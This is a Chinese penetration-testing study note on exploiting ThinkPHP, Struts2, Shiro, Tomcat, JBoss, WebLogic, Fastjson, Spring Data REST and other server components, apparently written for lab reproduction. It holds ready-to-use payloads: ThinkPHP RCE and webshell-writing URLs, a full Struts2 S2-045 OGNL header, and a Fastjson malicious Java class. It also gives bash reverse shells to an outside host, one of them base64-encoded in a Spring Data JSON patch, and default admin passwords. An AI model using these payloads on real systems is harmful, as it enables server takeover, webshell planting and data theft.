中间件与组件漏洞
1. ThinkPHP
(1). 漏洞识别
- ico图标判断
- 报错页面信息
- 错误传参报错
- 特殊指纹出现logo(p3.1、p3.2版本)
- body特征
- **body里面有"**十年磨一剑"或者"ThinkPHP"
- wappalyzer插件
(2). 漏洞利用
a. 5.0.20RCE漏洞
①漏洞原理
- 版本5中,没有正确处理控制器名,导致在网站****没有开启强制路由的情况(默认情况)下可以执行任意方法,从而导致RCE漏洞
②影响版本
- 5.0.x < ThinkPHP < 5.0.23
- 5.1.x < ThinkPHP < 5.1.31
③手动验证
-
验证漏洞
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
-
执行系统命令
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
-
写入webshell
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @assert($_REQUEST['cmd']);?>
-
验证webshell
shell.php?cmd=phpinfo();
④工具验证
b. 6.0.12文件包含漏洞
①漏洞原理
- ThinkPHP****开启多语言功能时,攻击者可以通过lang参数和目录穿越实现文件包含,当存在其它扩展模块,如pear扩展时,攻击者可以进一步利用文件包含实现RCE
- 被包含文件****后缀名一定是php
②影响版本
- 6.0.1 <= ThinkPHP <= 6.0.16
③手动验证
- 漏洞环境中,pearcmd的路径在:/usr/local/lib/php/pearcmd.php
-
写文件
#写在临时路径 ?lang=../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&<?=phpinfo()?>+/tmp/shell.php #写在web根目录绝对路径 ?lang=../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&<?=phpinfo()?>+/var/www/html/shell.php
-
包含文件
?lang=../../../../../../../../../../tmp/shell
-
写webshell
?lang=../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&<?=@eval($_REQUEST['cmd']);?>+/tmp/cmd.php
-
包含webshell
?lang=../../../../../../../../../../tmp/cmd&cmd=phpinfo();
-
连接webshell
2. Laravel
(1). 漏洞原理
- 开启了****Debug模式,由于Laravel自带的Ignition组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成RCE
(2). 影响版本
- Laravel <= 8.4.2
(3). 漏洞利用
- 通过phar://协议进行反序列化操作
- 使用工具
CVE-2021-3129
3. Struts2
(1). S2-045漏洞原理
- 在使用****基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,用户可在上传文件时修改HTTP请求头中的Content-Type值,利用ONGL表达式来触发该漏洞,进而执行系统命令
(2). 影响版本
- Struts2.3.5 - 2.3.31
- Struts2.5 - 2.5.10
(3). 漏洞复现
a. 手工
- 随意上传文件,抓取数据包
- 修改content-type字段
Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"boundary=----WebKitFormBoundaryXx80aU0pu6vrsV3z
- 在Content-Type字段中修改命令
- 成功执行
whoami
b. 工具测试
- 使用工具检测漏洞
- 选择漏洞,执行命令
(4). 判断Struts2框架
- 通过页面回显的错误消息来判断
- 通过网页
action
后缀来判断,有可能不准 - 判断**/struts/webconsole.html**是否存在进行判断,需要devMode = True
- 通过actionErrors,要求是对应的Action需要继承来自ActionSupport类
可能情况 |
---|
页面直接出现404 or 500等错误 |
页面输出了与业务有关的错误消息,或者1111被回显到了页面上 |
页面的内容结构发生了明显的改变 |
页面发生了重定向 |
4. Shiro
(1). Shiro550反序列化
a. 原理
- Apache Shiro框架提供了****记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码,再AES解密,最后在反序列化,这就导致了反序列化RCE漏洞
- payload:
- 命令 => 序列化 => AES加密 => base64编码 => RememberMe Cookie值
b. 影响版本
- Apache Shiro < 1.2.4(该版本往前使用****默认AES秘钥)
c. 漏洞复现
- 使用工具
-
- 访问漏洞url,登录并抓包
- 获取key,通过工具爆破
- 获取到利用链
- 执行命令
- getshell
- 访问漏洞url,登录并抓包
d. 判断Shiro框架
- 返回包中会包含
RememberMe=deleteMe
字段,这种情况大多发生在登录处;如果没有该字段,可以在数据包中的Cookie中添加rememberMe=deleteMe
字段
(2). Shiro721反序列化
a. 原理
- 由于Apache Shiro ****cookie中通过AES-128-CBC模式加密的rememberMe字段存在问题,用户可通过Padding Oracle Attack来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。
b. 前提
- 进行攻击前需要****获取一个合法用户的Cookie
c. 流程
- 登录网站获取合法Cookie
- 使用rememberMe字段进行Padding Oracle Attack,获取intermediary
- 利用intermediary构造出恶意的反序列化密文作为Cookie
- 使用新的Cookie请求网站执行攻击
d. 影响版本
- Apache Shiro <= 1.4.1
(3). 两者差异
- 相同点
- 都是生成恶意RememberMe Cookie反序列化执行代码
- 不同点
- Shiro550序列化利用****需要知道AES加密的key,使用这个key直接构造Payload
- Shiro721序列化是利用****已登录用户的合法RememberMe Cookie值,通过服务器对填充秘钥的不同响应,从而判断加密值是否被正确填充,构造Payload
5. Tomcat
(1)任意文件写入漏洞
- CEV-2017-12615
a. 原理
- 当Tomcat启用了PUT方法(readonly初始化参数由默认值设置为false),攻击者将有可能通过精心构造的攻击请求数据包上传包含任意代码的JSP文件,JSP文件中的恶意代码将能够被服务器执行,导致服务器上的数据泄露或获取服务器权限
b. 漏洞检测
- 通过访问:http://localhost:8080,抓包后发起PUT请求,响应包若为201,即可确认该漏洞
c. 漏洞复现
- 直接利用PUT方法写webshell
- 访问文件连接webshell
(2)任意文件读取漏洞
- CVE-2020-1938(GhostCat)
a. 原理
- 由于Tomcat在****处理AJP请求时,未对请求做任何验证,攻击者可以通过Tomcat AJP Connector读取或包含Tomcat上所有webapp目录下的任意文件,导致产生任意文件读取漏洞
b. 漏洞检测
- 通过****工具扫描开放8009端口即存在CVE-2020-1938幽灵猫漏洞
(3)远程部署漏洞
a. 原理
- 这是JSP/PHP网站远程部署的一个工具,管理员只需要远程上传一个****WAR格式的文件,便可以发布到网站,导致远程部署恶意文件
b. 检测
- 通过访问http://loaclhost:8080/manager管理地址,尝试弱口令或默认口令,若能登录成功,则存在该漏洞
c. 漏洞复现
- 本地准备jsp的webshell,通过弱口令进入后台
- 利用压缩软件或jar压缩成war后缀
jar -cvf shell.war shell.jsp
- 上传war包部署到服务器
- 访问webshell成功getshell
6. JBoss
(1). 5.x/6.x反序列化漏洞
- CVE-2017-12149
a. 原理
- 该漏洞为****Java反序列化错误类型,存在于JBoss的HttpInvoker组件中的ReadOnlyAccessFilter过滤器中,该过滤器没有进行任何安全检查的情况下,尝试将来自客户端的数据流进行反序列化,从而导致了漏洞
(2). 远程部署漏洞
a. 原理
- 这是JSP/PHP网站远程部署的一个工具,管理员只需要远程上传一个****WAR格式的文件,便可以发布到网站,导致远程部署恶意文件
b. 漏洞检测
- **使用工具 **
c. 漏洞复现
- 访问JBoss首页,http://localhost:8080/,并通过弱密码进入后台(admin/vulhub)
- 上传war包部署到服务器
- 访问webshell成功getshell
7. WebLogic
(1)基本信息
- **常用端口:**7001
- 后台登录地址:http://localhost:7001/console
(2)控制台部署漏洞
- 默认密码:weblogic/Oracle@123
a. 漏洞复现
(3)RCE漏洞
- CVE-2023-21839
a. 原理
- 可在****未经身份验证的情况下,通过T3、IIOP协议远程访问并破坏易受攻击的WebLogic Server,成功利用该漏洞则可能导致未授权访问和敏感信息泄露
b. 漏洞复现
8. Fastjson反序列化
(1). 原理
- Fastjson默认支持****AutoType特性,服务端在对序列化字符串进行反序列化时,可以将**@type关键字指定的类进行反序列化,并调用相应的Getter、Setter方法**,进而攻击者可以构造恶意Json字符串,通过**@type字段**引导服务器加载并实例化RMI服务器上的恶意类,进而造成RCE
(2). 利用流程
- 开启HTTP服务器,并将恶意类放在目录下
- 开启恶意RMI服务器
- 攻击者控制url参数为上一步开启的恶意RMI服务器地址
- 恶意RMI服务器返回ReferenceWrapper类
- 目标(JNDI_Client)执行lookup操作的时候,
(3). 限制条件
a. RMI
- jdk< 6u132、7u131、8u121
b. LADP
- jdk < 11.0.1、8u191、7u201、6u211
- 8u191中,关闭了JNDI远程类加载
(5). 漏洞复现
-
拉取docker并成功部署
-
编写恶意类并编译
// javac TouchFile.java import java.lang.Runtime; import java.lang.Process public class fastjsonshell { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/bash","-c", "bash -i >& /dev/tcp/192.168.41.54/8888 0>&1"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } } //编译代码 javac fastjsonshell.java
-
拉取工具并使用maven打包
git clone https://github.com/mbechler/marshalsec.git
-
在攻击机上开启web服务器监听
python -m http.server 4444
-
使用工具开启RMI服务器并监听
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.167.41.54:9090/#fastjsonshell" 9999
-
开启反弹Shell端口监听
nc -lvvp 8888
-
抓包,添加payload
-
成功反弹
9. Spring Data Set RCE
(1). 影响版本
- Spring Data Rest version < 2.5.12,2.6.7,3.0 RC3
- Spring Boot version < 2.0.0M4
- Spring Boot release trains < Kay-RC3
(2). 漏洞复现
- docker部署
- 检测是否存在漏洞
- 开启监听
- 抓包,修改数据包
bash -i >& /dev/tcp/192.168.41.54/1234 0>&1
=>
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQxLjU0LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
=>
98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,81,120,76,106,85,48,76,122,69,121,77,122,81,103,77,68,52,109,77,81,61,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125
[
{"op":"replace",
"path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,81,120,76,106,85,48,76,122,69,121,77,122,81,103,77,68,52,109,77,81,61,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname",
"value":"vulhub"
}
]
- 成功反弹shell
10. Log4j
- **JNDI(**Java命名和目录接口,Java Naming and Directory Interface),是一种标准的Java命名系统接口,允许从指定的远程服务器获取并加载对象。JNDI相当于一个用于映射的字典,使得Java应用程序可以和这些命名服务和目录服务之间进行交互
(1). 原理
- log4j2框架下的****lookup组件提供了**{}字段解析功能,传进去的值会被直接解析,通过调用JNDI服务向攻击者提前部署好的恶意站点**获取恶意的.class对象,造成了远程代码执行